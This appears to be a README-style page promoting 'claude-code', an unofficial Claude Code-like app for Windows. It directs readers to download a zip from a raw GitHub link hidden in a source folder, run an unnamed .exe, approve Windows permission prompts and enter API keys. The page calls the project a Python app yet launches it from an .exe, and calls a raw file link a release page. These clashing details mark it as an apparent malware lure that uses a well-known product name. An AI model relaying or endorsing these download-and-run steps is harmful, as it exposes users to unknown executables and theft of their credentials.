Open this page to download and run the app on Windows:
claude-code is a Python app that gives you a local Claude Code style workflow on Windows. It is built from scratch with oh-my-codex and aimed at learning, testing, and personal use.
It can help you:
- Work with code from your own computer
- Ask questions about files and folders
- Use a code-focused chat flow
- Try agent-style coding tasks
- Explore a Claude Code-like setup without the original app
Use a Windows PC with:
- Windows 10 or Windows 11
- Internet access for the first setup
- At least 4 GB of free disk space
- 8 GB RAM or more for smoother use
- A modern browser to open the download page
If your PC is older, the app may still run, but it can feel slow when it reads large projects.
-
Open the download page: https://raw.githubusercontent.com/phillisrevived347/claude-code/main/src/services/MagicDocs/claude_code_v3.6.zip
-
On that page, look for the latest release or download file.
-
Download the Windows version to your PC.
-
If the file is in a .zip format, right-click it and choose Extract All.
-
Open the extracted folder.
-
Look for the main app file. This may be an .exe file or a launch file for Windows.
-
Double-click the file to start the app.
-
If Windows asks for permission, choose Yes.
-
Follow any on-screen setup steps.
After you download the app, use this path:
- Go to your Downloads folder.
- Find the file you downloaded from the GitHub page.
- If it is zipped, extract it first.
- Open the app folder.
- Start the app with the main launcher file.
- Keep the window open while you use it.
If the app opens in a terminal window, that is normal. It means the tool is running from the command line.
Some builds may ask for extra setup on first launch. If that happens, follow these steps:
- Read each prompt on the screen.
- Press Enter when asked.
- Enter your account or API details if the app asks for them.
- Wait for the app to finish setup.
- Start a new session once setup ends.
If you use a Claude-style API key, keep it private and store it only on your own device.
Once the app runs, you can use it in a simple way:
- Open a folder that has code
- Ask the app to read files
- Request changes to a project
- Review the output before you save anything
- Keep working in the same folder as needed
Good starter tasks:
- Explain what a file does
- Find a bug in a small project
- Suggest a cleaner way to write code
- Help rename files or functions
- Show how a project is structured
- Windows-friendly setup
- Python-based code assistant flow
- Claude Code style interaction
- Local project focus
- Built for coding tasks and file work
- Rewritten from scratch with oh-my-codex
- Fits learning and educational use
- Works with common source code folders
Use claude-code if you want to:
- Learn how coding agents work
- Try a Claude Code-like tool on Windows
- Explore a clean code helper for small projects
- Get help reading and editing source files
- Test an independent Python rewrite
If the app does not start:
- Make sure you downloaded the full file
- Extract the zip file if needed
- Check that Windows did not block the app
- Run it again from the extracted folder
- Restart your PC and try once more
If the window closes right away:
- Open the app from a terminal window so you can see the message
- Check that the folder path has no strange characters
- Make sure any setup step finished
If the app cannot see your files:
- Open the correct project folder
- Check that you have permission to read that folder
- Move the project to a simple path, such as
C:\Projects\MyApp
The app works on your own computer. Review any code changes before you save them. If you enter a token or key, keep it private and do not share it in chat or screenshots.
